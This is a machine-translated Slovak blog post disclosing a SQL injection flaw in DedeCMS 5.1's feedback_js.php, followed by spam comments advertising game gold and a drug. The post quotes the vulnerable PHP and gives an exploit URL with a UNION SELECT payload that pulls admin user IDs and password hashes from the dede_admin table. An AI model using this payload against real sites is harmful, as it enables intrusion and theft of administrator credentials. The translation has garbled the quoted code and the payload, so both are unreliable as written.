DEDECMS 5,1 feedback_js.php 0day-0 dní, DEDECMS, DEDECMS 5.1, feedback

DEDECMS 5,1 feedback_js.php 0day

Tento záznam bol zaslaný Október 11 2009

Autor: st0p Rainy'Fox
Reprodukovať uveďte zdroj: http://www.st0p.org http://bbs.erpangzi.com/

Táto chyba zabezpečenia je nájdený a Rainy'Fox je k dispozícii aj v prípade magic_quotes_gpc = off

Zraniteľnosť Verzia: Články Condo 5.1
To môže byť využitý na získanie účtu správcu na pozadí a šifrovanie hash, medzery existovať súbor plus / feedback_js.php, nefiltrované parametre $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) if (empty ($ ARCID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Row = $ dlist -> DSQL -> GetOne ("SELECT id` # Z @ __ cache_feedbackurl `, kde url = '$ arcurl'");
        / / Tu $ arcurl bez filtra
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ row)) $ urlindex = $ row ['id'];
       / / Prezentovať výsledky dať dolárov urlindex priradenie pre dotaz na $ row ['id'], môžeme budovať SQL do týchto prevádzkových
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (empty ($ ARCID) && prázdne ($ urlindex)) exit ();
 / / Ak je $ ARCID je prázdna a alebo $ urlindex prázdny východ
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (empty ($ ARCID)) $ wq = "urlindex = '$ urlindex'";
 / / $ ARCID je prázdny, len nad výsledkami realizácie budú zaradené do $ wq do týchto vykonávaných operácií.
 = " aid=' $arcID ' " ; else $ wq = "podpora = '$ ARCID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; QueryString $ = "SELECT * FROM` # @ __ `spätnú väzbu, kde $ wq a ischeck = 1 zoradiť podľa DTIME desc";
 Init ( ) ; $ Dlist -> Init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ QueryString);
 ......

Pozrite sa na použitie, hej, zavrel som použiť dve spojenia

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'UNION SELECT' "a 1 = 2 únie vyberte 1,1,1 a userid, 3,1,3,3 a PWD 1,1,3 , 1,1,1,1,1 z dede_admin, kde 1 = 1 zväzok select * from dede_feedback, kde 1 = 2 a ='' '"z dede_admin, kde'' ='

Bohužiaľ, dokonca aj Rainy'Fox ten chlap nájsť cieľ testu, keď on vlastne povedal na magic_quotes_gpc = o tom, kedy vďaka .... tento nápad príliš YD .. príliš hrozné, naozaj dosiahnuť sektoru sieť mala chaos, veľa programov sú v predvolenom nastavení v PHP magic_quotes_gpc vypnutý, bude volať svoju vlastnú únikovú časť ... naozaj môže dosiahnuť, to je nočná mora z PHP programu ...

Naučte ° bojových umení Cheaty

356 Reakcie na "DEDECMS 5.1 feedback_js.php 0day"

Do хостинг na November 19, 2009 | Odpovedať
zelo intiresno, hvala
Od AKfour sedem na December 1, 2009 | Odpovedať
Stojím tu dnes pokorený úlohu pred [url = http://www.bawwgt.com] Dofus Gamaše [/ url], vďačný za dôveru, ktorú ste prepožičal, berú ohľad na obete, ktoré nesú náš [url = http:// / www.bawwgt.com] lacné Dofus Gamaše [/ url]. Ďakujem predsedovi [url = http://www.bawwgt.com] Dofus moc vyrovnávanie [/ url] pre svoje služby [url = http://www . bawwgt.com] kúpiť Dofus Gamaše [/ url], rovnako ako veľkorysosť a spolupráca sa preukázala počas tohto prechodu.
Od wsewtoexg na December 3, 2009 | Odpovedať
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ odkaz], http://njofsuttytxm.com/
Tým, teda na December 5, 2009 | Odpovedať
Len 34 dní pred Dofus 2.0! 2. decembra tu bude ako sa nazdáme, [url = http://www.bawwgt.com/fr] Dofus Gamaše [/ url]. Na [url = http://www.bawwgt.com / fr] Dofus Gamaše moins chers [/ url] každý hráč objaví úplne nový zážitok Dofus. [url = http://www.bawwgt.com/fr] acheter des Dofus Gamaše [/ url] musí sa uspokojiť s správy a fóra. Aj tak [url = http://www.bawwgt.com/fr] Achat Dofus Gamaše [/ url], tam ¡ ¯ je vždy niekoľko našich drahých hráčov vo fórach.
Tým kúpiť STRATTERA na December 13, 2009 | Odpovedať
to je v pohode správy. Ďakujem.
Od Seengart na December 14, 2009 | Odpovedať
jo ... informatívny štýl ..
Tým, Natasha-web na December 16, 2009 | Odpovedať
Vdaka ZA zaujimavy blog
Od ConradSimone na Mar 8, 2012 | Odpovedať
No to je veľmi zaujímavé indeed.Would čítam niečo viac. Obdivovať cenné informácie, ktoré ponúkajú vo svojich článkoch.
Conrad Simone